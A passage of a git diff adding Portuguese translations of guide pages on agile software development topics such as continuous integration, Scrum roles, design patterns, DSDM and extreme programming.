+2.  Classes grandes - Classes com muitas linhas de código. Isso pode indicar que a classe está tentando fazer muitas coisas e precisa ser dividida em classes menores.
+
+#### Mais Informações:
+
+*   _Refatoração: Melhorando o Design do Código Existente - Kent Beck, Martin Fowler_
+*   _Código Limpo: Um Manual de Artesanato de Software Ágil - Martin, Robert C. (2009)._
+*   [Código Cheira na Wikipédia](https://en.wikipedia.org/wiki/Code_smell)
+*   [Cheiro de Código no Blog de Jeff Atwood (Coding Horror)](https://blog.codinghorror.com/code-smells/)
+*   [Code Smells no C2 Wiki de Ward Cunningham](http://wiki.c2.com/?CodeSmell)
+*   [Martin Fowler - Cheiro de Código](https://martinfowler.com/bliki/CodeSmell.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/colocation-vs-distributed/index.md b/client/src/guide/portuguese/agile/colocation-vs-distributed/index.md
new file mode 100644
index 0000000000..58c8086f94
--- /dev/null
+++ b/client/src/guide/portuguese/agile/colocation-vs-distributed/index.md
@@ -0,0 +1,10 @@
+---
+title: Collocation Vs Distributed
+localeTitle: Colocação Vs Distribuída
+---
+## Colocação Vs Distribuída
+
+*   Co-localizada refere-se a uma equipe que se senta junto; mesmo escritório. Idealmente, todos sentados juntos em escritórios adjacentes ou em um espaço de trabalho aberto.
+*   Os membros da equipe distribuídos estão espalhados geograficamente; diferentes edifícios, cidades ou mesmo países. No caso de equipe distribuída, a infraestrutura deve facilitar os processos para resolver a diferença de horário e a distância entre os membros da equipe, proporcionando assim uma maneira eficiente de trabalhar completamente.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/continuous-delivery/index.md b/client/src/guide/portuguese/agile/continuous-delivery/index.md
new file mode 100644
index 0000000000..c44399a499
--- /dev/null
+++ b/client/src/guide/portuguese/agile/continuous-delivery/index.md
@@ -0,0 +1,9 @@
+---
+title: Continuous Delivery
+localeTitle: Entrega Contínua
+---
+## Entrega Contínua
+
+A entrega contínua (CD) é uma abordagem de engenharia de software na qual as equipes produzem software em ciclos curtos, garantindo que o software possa ser lançado com segurança a qualquer momento. [1](https://en.wikipedia.org/wiki/Extreme_programming)
+
+Destina-se a construir, testar e liberar software com mais rapidez e frequência. A abordagem ajuda a reduzir o custo, o tempo e o risco de entregar mudanças, permitindo atualizações mais incrementais para aplicativos em produção. Um processo de implantação simples e repetível é importante para a entrega contínua. Entrega contínua significa que a equipe garante que cada mudança possa ser implantada na produção, mas pode optar por não fazê-lo, geralmente por motivos comerciais
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/continuous-deployment/index.md b/client/src/guide/portuguese/agile/continuous-deployment/index.md
new file mode 100644
index 0000000000..92624fa889
--- /dev/null
+++ b/client/src/guide/portuguese/agile/continuous-deployment/index.md
@@ -0,0 +1,13 @@
+---
+title: Continuous Deployment
+localeTitle: Implantação Contínua
+---
+## Implantação Contínua
+
+A Implantação Contínua é um processo moderno de engenharia de software que é considerado parte de um ambiente de DevOps. Envolve equipes de desenvolvedores produzindo, atualizando e liberando código em ciclos muito curtos. Isso significa que os desenvolvedores cometem quantidades menores de código, com muito mais frequência.
+
+O objetivo da implantação contínua é ter código em um estado constante confiável e implantável para permitir que esse código seja lançado a qualquer momento. Este processo visa liberar o código mais rapidamente. Para alcançar uma implantação contínua, uma equipe de desenvolvimento depende da infraestrutura que automatiza e instrumenta as várias etapas que levam à implantação. Isso é muitas vezes chamado de Infraestrutura como Código (IaC).
+
+Dois benefícios principais do Continuous Deployment incluem um retorno sobre o investimento anterior para cada recurso depois que ele é desenvolvido, devido aos tempos de liberação mais baixos, bem como ao feedback anterior sobre novos recursos.
+
+Outros benefícios para a Implantação Contínua incluem melhor qualidade de código devido a menos bugs que levam à produção, lançamentos de código mais confiáveis ​​e um tempo de lançamento muito menor no mercado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/continuous-integration/index.md b/client/src/guide/portuguese/agile/continuous-integration/index.md
new file mode 100644
index 0000000000..0a6b8776da
--- /dev/null
+++ b/client/src/guide/portuguese/agile/continuous-integration/index.md
@@ -0,0 +1,60 @@
+---
+title: Continuous Integration
+localeTitle: Integração contínua
+---
+## Integração contínua
+
+Em sua forma mais básica, a integração contínua (CI) é uma metodologia de desenvolvimento ágil em que os desenvolvedores mesclam regularmente seu código diretamente à fonte principal, geralmente uma ramificação `master` remota. A fim de assegurar que nenhuma alteração de quebra seja introduzida, um conjunto completo de testes é executado em cada build potente para testar a regressão do novo código, isto é, testar se o novo código não quebra os recursos de trabalho existentes.
+
+Essa abordagem requer uma boa cobertura de teste da base de código, o que significa que a maioria, se não todos, do código possui testes que garantem que seus recursos sejam totalmente funcionais. Idealmente, a integração contínua seria praticada em conjunto com o [Desenvolvimento Orientado](https://guide.freecodecamp.org/agile/test-driven-development) a [Testes](https://guide.freecodecamp.org/agile/test-driven-development) .
+
+### Etapas Principais
+
+As seguintes etapas básicas são necessárias para fazer a abordagem atual mais padrão à integração contínua.
+
+1.  Manter um repositório central e um branch `master` ativo.
+
+Tem que haver um repositório de código para que todos possam se fundir e extrair alterações. Isso pode estar no Github ou em qualquer outro serviço de armazenamento de código.
+
+2.  Automatize a construção.
+
+Usando scripts NPM ou ferramentas de compilação mais complexas como Yarn, Grunt, Webpack ou [Gulp](https://guide.freecodecamp.org/developer-tools/gulp) , automatize a compilação para que um único comando possa criar uma versão totalmente funcional do produto, pronta para ser implantada em um ambiente de produção. Melhor ainda, inclua a implantação como parte da construção automatizada!
+
+3.  Faça a compilação executar todos os testes.
+
+Para verificar se nada no novo código quebra a funcionalidade existente, o conjunto de testes completo precisa ser executado e a compilação precisa falhar se qualquer teste dentro dele falhar.
+
+4.  Todo mundo tem que mesclar as mudanças para `master` todos os dias.
+    
+5.  Todas as fusões no `master` devem ser construídas e totalmente testadas.
+    
+
+### Melhores práticas
+
+Existem outras práticas recomendadas que fazem o melhor uso do que a CI tem a oferecer e os desafios que apresenta, como:
+
+1.  Mantenha a compilação rápida, para que o tempo do desenvolvedor não seja desperdiçado esperando por uma compilação.
+    
+2.  Teste a compilação em um clone completo do ambiente de produção.
+    
+
+Se você tiver, por exemplo, um aplicativo implantado em algo como Heroku ou Digital Ocean, tenha uma implantação de teste separada na qual possa implantar compilações de teste, para garantir que elas funcionem não apenas em testes, mas em um ambiente de produção real. Esse ambiente de teste deve ser funcionalmente idêntico ao ambiente de produção real, para garantir que o teste seja preciso.
+
+3.  Torne fácil manter-se atualizado.
+
+Os codificadores devem puxar regularmente da ramificação `master` para manter a integração do código com as alterações da equipe. O repositório também deve ser disponibilizado para as partes interessadas, como gerentes de produto, executivos da empresa ou, às vezes, clientes-chave, para que todos possam facilmente ver o progresso.
+
+4.  Mantenha registros de compilações, para que todos possam ver os resultados de qualquer construção, se ela foi bem-sucedida ou não, e quem ou o que introduziu novas alterações.
+    
+5.  Automatize a implantação.
+    
+
+Mantenha seu aplicativo totalmente atualizado com novas alterações, automatizando a implantação no ambiente de produção como o estágio final do processo de criação, uma vez que todos os testes tenham passado e a implantação de teste no clone do ambiente de produção tenha sido bem-sucedida.
+
+### Serviços de CI
+
+Muitos serviços existem para lidar com o processo de integração contínua para você, o que pode facilitar muito o estabelecimento de um pipeline de CI sólido ou um processo de criação. Ao avaliar isso, leve em consideração fatores como orçamento, velocidade de construção e em que tipo de projeto você está trabalhando. Alguns serviços, como o [Travis CI,](https://travis-ci.org) oferecem serviços gratuitos para projetos de código aberto, o que pode torná-los uma opção fácil para projetos como esse, mas podem ter construções mais lentas do que outros serviços, como [Circle CI](https://circleci.com/) ou [Codeship](https://codeship.com/) , para citar apenas alguns.
+
+#### Mais Informações:
+
+A entrada da Wikipedia na [Integração Contínua](https://en.wikipedia.org/wiki/Continuous_integration) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/cross-functional-teams/index.md b/client/src/guide/portuguese/agile/cross-functional-teams/index.md
new file mode 100644
index 0000000000..6f6e8d864f
--- /dev/null
+++ b/client/src/guide/portuguese/agile/cross-functional-teams/index.md
@@ -0,0 +1,44 @@
+---
+title: Cross Functional Teams
+localeTitle: Equipes multifuncionais
+---
+## Equipes multifuncionais
+
+Uma equipe multifuncional é um grupo de pessoas com diferentes habilidades funcionais que trabalham em prol de um objetivo comum.
+
+Normalmente, inclui funcionários de todos os níveis de uma organização. Os membros também podem vir de fora de uma organização (em particular, de fornecedores, clientes-chave ou consultores). As equipes multifuncionais geralmente funcionam como equipes autodirecionadas, designadas para uma tarefa específica, que exige a contribuição e a experiência de vários departamentos.
+
+Atribuir uma tarefa a uma equipe composta por indivíduos multidisciplinares aumenta o nível de criatividade e o pensamento fora da caixa.
+
+Cada membro oferece uma perspectiva alternativa para o problema e a solução potencial para a tarefa. Nos negócios de hoje, a inovação é uma vantagem competitiva líder e as equipes multifuncionais promovem a inovação por meio de um processo de colaboração criativa. Os membros de uma equipe multifuncional devem ser bem versados ​​em multitarefas, pois eles são simultaneamente responsáveis ​​por suas tarefas de equipe multifuncionais, bem como por suas tarefas normais de trabalho diário.
+
+### Objetivo comum
+
+*   Melhor para a equipe, melhor para o indivíduo
+    
+*   melhorar a coordenação e integração
+    
+*   trabalho através dos limites orgnisational
+    
+*   melhorar a eficiência da equipe, aumentando a produtividade
+    
+*   Alcançar a satisfação do cliente trabalhando pelo mesmo objetivo
+    
+
+Alguns pesquisadores viram as interações interfuncionais como cooperativas ou competitivas por natureza, enquanto outras argumentaram que as áreas funcionais da organização são frequentemente forçadas a competir e cooperar simultaneamente (coopetição) e é fundamental entender como essas relações complexas se interagem. e afetam o desempenho da empresa.
+
+### Composição da habilidade da equipe funcional cruzada
+
+Um desafio comum na composição de Equipes Inter-funcionais é pensar que cada membro técnico da equipe é obrigado a ter todas as habilidades técnicas necessárias para realizar qualquer trabalho. Isso ajuda os membros da equipe a realizar mais de uma habilidade técnica, mas ainda é possível ter especialistas. É melhor quando nem todos os membros da equipe são especialistas.
+
+#### Mais Informações:
+
+*   [17 FORMAS COMPROVADAS PARA BENEFICIAR DE UMA EQUIPE CROSS FUNCIONAL](https://www.scoro.com/blog/improve-cross-team-collaboration/)
+    
+*   [11 razões para usar equipes multifuncionais](https://blog.kainexus.com/employee-engagement/cross-functional-collaboration/cross-functional-teams/11-reasons)
+    
+*   [Equipes Scrum Multifuncionais](https://www.scrumalliance.org/community/articles/2014/june/success-story-cross-functional-scrum-teams)
+    
+*   [Cross funcional não significa que todos podem fazer tudo](https://www.mountaingoatsoftware.com/blog/cross-functional-doesnt-mean-everyone-can-do-everything)
+    
+*   [Equipes multifuncionais](https://dzone.com/articles/cross-functional-scrum-teams)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/crystal/index.md b/client/src/guide/portuguese/agile/crystal/index.md
new file mode 100644
index 0000000000..f2ce9e76f8
--- /dev/null
+++ b/client/src/guide/portuguese/agile/crystal/index.md
@@ -0,0 +1,28 @@
+---
+title: Crystal
+localeTitle: Cristal
+---
+## Cristal
+
+É uma metodologia que é uma abordagem leve e muito adaptável ao desenvolvimento de software. É uma família de metodologias ágeis em que estão incluídos Crystal Clear, Crystal Yellow, Crystal Orange e outros. Qual deles tem um atributo único impulsionado por muitos fatores, como o tamanho da equipe, quão crítico é o sistema e as prioridades do projeto. Que afirma que cada projeto pode precisar de um conjunto diferente de práticas, regras, processos de acordo com as características únicas do projeto. Todos eles foram desenvolvidos por Alistair Cockburn nos anos 90.
+
+Segundo ele, os rostos do cristal são definidos como Metodologia, técnicas e políticas
+
+Metodologia - elementos que fazem parte do projeto Técnicas - áreas de habilidades Políticas - as organizações fazem e não fazem
+
+Esses métodos são focados em:
+
+1.  Pessoas
+2.  Interação
+3.  Comunidade
+4.  Habilidades
+5.  Talentos
+6.  Comunicações
+
+! \[Cores diferentes\] https://upload.wikimedia.org/wikiversity/en/c/c5/Crystal _Family_ example.jpg
+
+São necessários diferentes movimentos para movimentar o mundo e, de acordo com o Crystal, são necessárias cores diferentes para mover um projeto.
+
+#### Mais Informações:
+
+\[Artigo da Wikiversidade\] https://en.wikiversity.org/wiki/Crystal\_Methods
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/customer-units/index.md b/client/src/guide/portuguese/agile/customer-units/index.md
new file mode 100644
index 0000000000..0874ab9973
--- /dev/null
+++ b/client/src/guide/portuguese/agile/customer-units/index.md
@@ -0,0 +1,15 @@
+---
+title: Customer Units
+localeTitle: Unidades do cliente
+---
+## Unidades do cliente
+
+No Agile, as unidades do Cliente são um povo e um papel que representam a voz, a expectativa dos clientes / mercado visados ​​por um produto.
+
+Unidades do cliente responsáveis ​​pelo produto da experiência do usuário, uma visão de um produto, roteiro do produto, criação e manutenção do backlog do produto e qualquer coisa.
+
+Exemplo de Pessoa / Funções: -> Gerentes de Produto -> Vendas -> Marketing -> Usuário final
+
+#### Mais Informações:
+
+Unidade de Clientes: [Soluções](https://www.solutionsiq.com/agile-glossary/customer-unit/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/daily-standup-and-daily-scrum/index.md b/client/src/guide/portuguese/agile/daily-standup-and-daily-scrum/index.md
new file mode 100644
index 0000000000..b7ba0474aa
--- /dev/null
+++ b/client/src/guide/portuguese/agile/daily-standup-and-daily-scrum/index.md
@@ -0,0 +1,27 @@
+---
+title: Daily Stand-Up and Daily Scrum
+localeTitle: Daily Stand-Up e Daily Scrum
+---
+## Daily Stand-Up e Daily Scrum
+
+A reunião Diária em Stand-Up (DSU) ou Daily Scrum é uma das partes integrantes da metodologia scrum.
+
+Como o nome sugere, você realiza a reunião diariamente, ao mesmo tempo e, para uma equipe co-localizada, no mesmo local. A reunião deve ser breve, terminar em menos de 15 minutos.
+
+Somente membros da equipe de desenvolvimento são obrigados a comparecer ao Stand-up diário. Normalmente, o Scrum Master e o Product Owner também participarão, mas eles não são necessários.
+
+A agenda padrão para cada pessoa é:
+
+*   O que você fez desde o último DSU?
+*   O que você está fazendo depois deste DSU
+*   Quais são os principais obstáculos que estão impedindo seu progresso e de onde você precisa de ajuda?
+
+Os membros da equipe devem ouvir atentamente as contribuições uns dos outros e tentar identificar áreas em que possam ajudar o progresso uns dos outros. A reunião em pé também apresentará tópicos mais longos de discussão que precisam ser realizados entre os diferentes membros da equipe. Essas discussões demoradas devem ser interrompidas e realizadas fora do standup, envolvendo apenas os participantes relevantes, e não a equipe inteira.
+
+### Exemplo de reunião em pé
+
+https://www.youtube.com/watch?v=\_3VIC8u1UV8
+
+### Mais Informações:
+
+Reunião em pé: [Wikipedia](https://en.wikipedia.org/wiki/Stand-up_meeting)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/delivery-team/index.md b/client/src/guide/portuguese/agile/delivery-team/index.md
new file mode 100644
index 0000000000..38b3525859
--- /dev/null
+++ b/client/src/guide/portuguese/agile/delivery-team/index.md
@@ -0,0 +1,17 @@
+---
+title: Delivery Team
+localeTitle: Equipe de entrega
+---
+## Equipe de entrega
+
+Uma equipe de scrum é composta pelo dono do produto (PO), pelo Scrum Master (SM) e pela equipe de entrega.
+
+A equipe de entrega é todo mundo menos o PO e o SM; os desenvolvedores, testadores, analistas de sistemas, analistas de bancos de dados, analistas de UI / UX e assim por diante.
+
+Para que uma equipe de entrega de scrum seja eficaz, ela deve ser ágil (ou ágil!) O suficiente para que as decisões sejam rapidamente aprovadas enquanto diversificadas o suficiente para que a grande maioria das especificidades necessárias para o desenvolvimento de software possa ser coberta por toda a equipe. Idealmente, uma equipe entre 3 e 9 pessoas geralmente funciona bem para uma equipe de desenvolvimento de scrum.
+
+A equipe também deve promover o respeito mútuo em todos os membros da equipe. Uma equipe eficaz de scrum poderá compartilhar a carga de trabalho e colocar as realizações da equipe à frente das realizações do indivíduo.
+
+#### Mais Informações:
+
+Artigo da Atlassian sobre Scrum [aqui.](https://www.atlassian.com/agile/scrum)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/design-patterns/index.md b/client/src/guide/portuguese/agile/design-patterns/index.md
new file mode 100644
index 0000000000..7c4ca52e47
--- /dev/null
+++ b/client/src/guide/portuguese/agile/design-patterns/index.md
@@ -0,0 +1,31 @@
+---
+title: Design Patterns
+localeTitle: Padrões de design
+---
+## Padrões de design
+
+Um padrão de design é uma solução de design comum para um problema comum de projeto. Uma coleção de padrões de design para um campo ou domínio relacionado é chamada de linguagem de padrão. Observe que também há padrões em outros níveis: código, simultaneidade, arquitetura, design de interação…
+
+Na engenharia de software, um padrão de design de software é uma solução geral reutilizável para um problema comum em um determinado contexto no design de software. Não é um projeto acabado que pode ser transformado diretamente em código fonte ou máquina. É uma descrição ou modelo de como resolver um problema que pode ser usado em muitas situações diferentes. Os padrões de projeto são as melhores práticas formalizadas que o programador pode usar para resolver problemas comuns ao projetar um aplicativo ou sistema.
+
+Os padrões de design orientados a objetos geralmente mostram relacionamentos e interações entre classes ou objetos, sem especificar as classes ou objetos finais de aplicativo envolvidos. Padrões que implicam estados mutáveis ​​podem ser inadequados para linguagens de programação funcionais, alguns padrões podem ser tornados desnecessários em linguagens que têm suporte embutido para resolver o problema que estão tentando resolver, e padrões orientados a objetos não são necessariamente adequados para não-objetos. idiomas orientados.
+
+Padrões de design podem ser vistos como uma abordagem estruturada para programação de computadores intermediários entre os níveis de um paradigma de programação e um algoritmo concreto.
+
+O livro que popularizou o campo são os **Padrões de Design** da Gang of Four (GoF) **: Elementos do Software Orientado a Objetos Reutilizáveis** (1994). Apresenta uma série (23) de padrões para uma linguagem OO convencional (C ++) classificada em três tipos:
+
+*   **Criacional** (para criar objetos): fábrica abstrata, construtor, método de fábrica, protótipo, singleton.
+*   **Estrutural** (para compor objetos): adaptador, ponte, compósito, decorador, fachada, flyweight, proxy.
+*   **Comportamental** (para comunicação entre objetos): cadeia de responsabilidade, comando, intérprete, iterador, mediador, memmento, observador, estado, estratégia, método de modelo, visitante.
+
+Os padrões podem ser usados ​​para vários objetivos (aprendizagem, comunicação, aprimoramento de suas ferramentas), mas em agilidade eles devem ser refatorados do código com dívida técnica e não apenas adicionados no início (design / arquitetura emergente), pois você não tem conhecimento suficiente sobre o (futuro) sistema que vai evoluir. Observe que o que requer um padrão em um idioma ou ferramenta pode não ser necessário ou já fazer parte de outro idioma ou ferramenta. Uma estrutura é um conjunto de classes cooperantes que compõem um design reutilizável para um tipo específico de software e geralmente são pesadas em padrões.
+
+#### Mais Informações:
+
+*   [Wikipedia sobre padrões de design](https://en.wikipedia.org/wiki/Software_design_pattern)
+*   [Wikipedia no GoF Book](https://en.wikipedia.org/wiki/Design_Patterns)
+*   [Padrões de Design por Criação de Fonte](https://sourcemaking.com/design_patterns) : lista de padrões conhecidos disponíveis on-line
+*   [Padrões de Programação de Jogos](http://gameprogrammingpatterns.com/) : livro sobre Padrões de Design comumente usados ​​no Desenvolvimento de Jogos, disponível para ser lido online gratuitamente
+*   [Design Orientado a Objetos](http://www.oodesign.com/)
+*   [Um guia para iniciantes em design de padrões](https://code.tutsplus.com/articles/a-beginners-guide-to-design-patterns--net-12752)
+*   [De padrões de design à teoria de categorias](http://blog.ploeh.dk/2017/10/04/from-design-patterns-to-category-theory/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/dsdm/index.md b/client/src/guide/portuguese/agile/dsdm/index.md
new file mode 100644
index 0000000000..724f3c42d4
--- /dev/null
+++ b/client/src/guide/portuguese/agile/dsdm/index.md
@@ -0,0 +1,22 @@
+---
+title: DSDM
+localeTitle: DSDM
+---
+## DSDM
+
+DSDM significa Dynamic Systems Development Method. É uma metodologia de desenvolvimento rápido ágil e visa resolver o problema atual do tempo necessário para desenvolver sistemas de informação. O DSDM é mais uma estrutura do que um método bem definido, e muitos dos detalhes de como as coisas devem realmente ser feitas são deixados para a organização ou indivíduo de desenvolvimento de software decidir. O DSDM adota uma abordagem incremental e usa o conceito RAD (desenvolvimento rápido de aplicativos) de timeboxing. Ele também enfatiza o papel fundamental das pessoas no processo de desenvolvimento e é descrito como uma abordagem centrada no usuário.
+
+O DSDM possui 9 princípios básicos, como segue:
+
+1) O envolvimento ativo do usuário é imperativo. 2) As equipes devem ter poderes para tomar decisões. As quatro principais variáveis ​​de empoderamento são: autoridade, recursos, informações e responsabilidade. 3) A entrega freqüente de produtos é essencial. 4) Aptidão para fins comerciais é o critério essencial para a aceitação de produtos. 5) O desenvolvimento iterativo e incremental é necessário para convergir em uma solução de negócios precisa. 6) Todas as alterações durante o desenvolvimento são reversíveis (ou seja, você não prossegue por um caminho específico se encontrar problemas; volta para o último ponto seguro ou acordado e, em seguida, inicia um novo caminho). 7) Os requisitos são estabelecidos em um nível alto (ou seja, os requisitos de negócios de alto nível, uma vez acordados, são congelados). Este é essencialmente o escopo do projeto. 8) O teste é integrado ao longo do ciclo de vida (ou seja, teste à medida que você avança, em vez de testar apenas no final, onde ele é freqüentemente espremido). 9) Uma abordagem colaborativa e cooperativa entre todas as partes interessadas é essencial.
+
+As 5 principais fases do ciclo de desenvolvimento do DSDM são:
+
+1) Estudo de viabilidade. 2) Estudo de negócios. 3) iteração do modelo funcional. 4) Projeto do sistema e construção de iteração. 5) Implementação.
+
+#### Mais Informações:
+
+Você pode ler os links a seguir para descobrir mais.
+
+*   [Agile Business - O que é o DSDM?](https://www.agilebusiness.org/what-is-dsdm)
+*   [Wikipedia - Método de Desenvolvimento de Sistemas Dinâmicos](https://en.wikipedia.org/wiki/Dynamic_systems_development_method)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/epics/index.md b/client/src/guide/portuguese/agile/epics/index.md
new file mode 100644
index 0000000000..2910693eed
--- /dev/null
+++ b/client/src/guide/portuguese/agile/epics/index.md
@@ -0,0 +1,17 @@
+---
+title: Epics
+localeTitle: Épicos
+---
+## Épicos
+
+Um épico é uma história de usuário grande que não pode ser entregue conforme definido em uma única iteração ou é grande o suficiente para ser dividida em histórias de usuário menores. Épicos geralmente cobrem uma pessoa em particular e dão uma ideia geral do que é importante para o usuário. Um épico pode ser subdividido em várias histórias de usuários que mostram tarefas individuais que uma pessoa / usuário gostaria de realizar.
+
+Não existe um formulário padrão para representar épicos. Algumas equipes usam os formatos conhecidos de história de usuário (Como A, Eu Quero, So That ou In Order To, Como A, eu quero), enquanto outras equipes representam as epopéias com uma frase curta.
+
+*   Enquanto as histórias que compõem um épico podem ser concluídas de forma independente, seu valor de negócios não é percebido até que todo o épico esteja completo
+
+### Exemplo épico
+
+Em um aplicativo que ajuda os pintores freelancers a acompanhar seus projetos, um possível épico poderia ser.
+
+Paul, o Pintor, gostaria de uma maneira mais fácil de gerenciar seus projetos e fornecer ao cliente alterações precisas e também faturá-los.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/extreme-programming/index.md b/client/src/guide/portuguese/agile/extreme-programming/index.md
new file mode 100644
index 0000000000..050caf9ff3
--- /dev/null
+++ b/client/src/guide/portuguese/agile/extreme-programming/index.md
@@ -0,0 +1,15 @@
+---
+title: Extreme Programming
+localeTitle: Programação extrema
+---
+## Programação extrema
+
+Extreme programming (XP) é uma metodologia de desenvolvimento de software que se destina a melhorar a qualidade do software e a capacidade de resposta às mudanças nos requisitos do cliente. [1](https://en.wikipedia.org/wiki/Extreme_programming)
+
+A vantagem básica do XP é que todo o processo é visível e responsável. Os desenvolvedores assumirão compromissos concretos sobre o que realizarão, mostrarão progressos concretos na forma de software implantável e, quando um marco for alcançado, descreverão exatamente o que fizeram e como e por que isso diferia do plano. Isso permite que os profissionais de negócios assumam seus compromissos comerciais com confiança, aproveitem as oportunidades à medida que surgem e eliminem becos sem saída de forma rápida e barata. [2](http://wiki.c2.com/?ExtremeProgramming) - Kent Beck
+
+[![Feedback do XP](https://upload.wikimedia.org/wikipedia/commons/4/44/XP-feedback.gif)](https://commons.wikimedia.org/wiki/File%3AXP-feedback.gif "Por DonWells (Trabalho próprio) [CC BY 3.0 (http://creativecommons.org/licenses/by/3.0)], via Wikimedia Commons")
+
+#### Mais Informações:
+
+[Regras de Programação Extrema](http://www.extremeprogramming.org/rules.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/feature-based-planning/index.md b/client/src/guide/portuguese/agile/feature-based-planning/index.md
new file mode 100644
index 0000000000..62701b3ec9
--- /dev/null
+++ b/client/src/guide/portuguese/agile/feature-based-planning/index.md
@@ -0,0 +1,13 @@
+---
+title: Feature Based Planning
+localeTitle: Planejamento Baseado em Recursos
+---
+## Planejamento Baseado em Recursos
+
+**O planejamento baseado em recursos** é uma metodologia de planejamento que pode ser usada para decidir quando liberar o software com base nos recursos que serão entregues aos clientes, em vez de um lançamento baseado em prazo arbitrário.
+
+Neste método de planejamento de release, as equipes decidem quais recursos / recursos devem ser priorizados. Com base no escopo desses recursos, a equipe pode prever quando a próxima versão pode ser implantada.
+
+#### Mais Informações:
+
+[Desenvolvimento orientado por recursos](https://en.wikipedia.org/wiki/Feature-driven_development)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/five-levels-of-agile-planning/index.md b/client/src/guide/portuguese/agile/five-levels-of-agile-planning/index.md
new file mode 100644
index 0000000000..ac173684d1
--- /dev/null
+++ b/client/src/guide/portuguese/agile/five-levels-of-agile-planning/index.md
@@ -0,0 +1,32 @@
+---
+title: Five Levels of Agile Planning
+localeTitle: Cinco níveis de planejamento ágil
+---
+## Cinco níveis de planejamento ágil
+
+O proprietário de um produto precisa estar familiarizado com os cinco níveis de planejamento ágil:
+
+*   Definindo a visão do produto
+*   Definindo o roteiro do produto
+*   Planejamento de liberação
+*   Planejamento de sprint
+*   Contabilizando o resultado dos scrums diários
+
+O planejamento ágil é sempre contínuo e deve ser revisado pelo menos a cada três meses.
+
+## Breve Sinopse dos Cinco Níveis de Planejamento Ágil
+
+1.  Visão do Produto: O quê (Resumo dos principais benefícios e funcionalidades que o produto fornecerá), Quem (Stakeholders), Porquê (Necessidade e Oportunidade), Quando (Cronograma do Projeto e expectativas de tempo), Restrições e Premissas (impactos e risco).
+    
+2.  Roteiro do Produto: Lançamentos - Data, Conjunto de Tema / Recurso, Objetivo, Abordagem de Desenvolvimento.
+    
+3.  Planejamento de Liberação: Iteração, Capacidade de Equipe, Histórias, Prioridade, Tamanho, Estimativas, Definição de Feito.
+    
+4.  Planejamento de Sprint: Histórias - Tarefas, Definição de Feito, Nível de Esforço, Compromisso
+    
+5.  Planejamento Diário: O que eu fiz ontem? O que farei hoje? O que está me bloqueando?
+    
+
+#### Mais Informações:
+
+[Cinco níveis de planejamento ágil](https://www.scrumalliance.org/why-scrum/agile-atlas/agile-atlas-common-practices/planning/january-2014/five-levels-of-agile-planning)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/functional-managers/index.md b/client/src/guide/portuguese/agile/functional-managers/index.md
new file mode 100644
index 0000000000..8db50578de
--- /dev/null
+++ b/client/src/guide/portuguese/agile/functional-managers/index.md
@@ -0,0 +1,12 @@
+---
+title: Functional Managers
+localeTitle: Gerentes Funcionais
+---
+## Gerentes Funcionais
+
+Um gerente funcional é uma pessoa que tem autoridade administrativa sobre um grupo de pessoas. Essa autoridade vem da posição formal dessa pessoa na organização (por exemplo, diretor do departamento, gerente do departamento de qualidade, gerente da equipe de desenvolvimento). O papel dos gerentes funcionais é diferente dos Gerentes de Projeto ou ScrumMasters e não é baseado em projetos.  
+Em organizações mais ágeis, existem diferentes modelos. O gerente funcional geralmente é responsável pelo desenvolvimento de pessoas em seus grupos, garantindo orçamentos e tempo para as pessoas. No entanto, existem também alguns modelos de empresa ágil em que as funções geralmente atribuídas a gerentes funcionais são distribuídas para outras funções dentro da organização (por exemplo, modelo do Spotify com Tribos, Guildas, Capítulos, Esquadrões).
+
+No mundo tradicional do trabalho, as empresas organizam as pessoas em uma hierarquia. Pessoas com funções de trabalho semelhantes são agrupadas em áreas funcionais e lideradas por um Gerente Funcional. O gerente funcional é geralmente responsável pela orientação e bem-estar dos funcionários que se reportam diretamente a ela.
+
+As equipes de projeto ágil geralmente trabalham com gerentes funcionais que controlam os recursos de que a equipe precisa para realizar o trabalho. Um exemplo seria trabalhar com um gerente funcional em compras para designar uma pessoa para trabalhar com a equipe para obter licenças de software.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/index.md b/client/src/guide/portuguese/agile/index.md
new file mode 100644
index 0000000000..69f7189253
--- /dev/null
+++ b/client/src/guide/portuguese/agile/index.md
@@ -0,0 +1,19 @@
+---
+title: Agile
+localeTitle: Ágil
+---
+## Ágil
+
+O desenvolvimento de software ágil é uma coleção de metodologias usadas para gerenciar equipes de desenvolvedores. Defende o planejamento adaptativo, o desenvolvimento evolutivo, a entrega antecipada e a melhoria contínua, além de estimular uma resposta rápida e flexível à mudança. Pessoas e comunicação são consideradas mais importantes que ferramentas e processos.
+
+Agile enfatiza perguntando aos usuários finais o que eles querem e freqüentemente mostrando demonstrações do produto à medida que ele é desenvolvido. Isso contrasta com a abordagem "Waterfall", o desenvolvimento orientado por especificação e o que os profissionais ágeis chamam de "Big Up Front Design". Nessas abordagens, os recursos são planejados e orçados antes do início do desenvolvimento.
+
+Com o Agile, a ênfase está na "agilidade" - poder responder rapidamente ao feedback dos usuários e a outras circunstâncias em constante mudança.
+
+![Uma história em quadrinhos do site Commitstrip.com mostrando um gerente de produto explicando a um desenvolvedor que está mudando para o ágil, mas depois pedindo ao desenvolvedor para planejar tudo na frente](https://www.commitstrip.com/wp-content/uploads/2017/01/Strip-Budegt-fixe-pour-projet-flexible-english650-final.jpg)
+
+Existem muitos sabores diferentes de agilidade, incluindo Scrum e Extreme Programming.
+
+### Mais Informações
+
+[Homepage da Agile Alliance](https://www.agilealliance.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/integration-hell/index.md b/client/src/guide/portuguese/agile/integration-hell/index.md
new file mode 100644
index 0000000000..5231a1c1b7
--- /dev/null
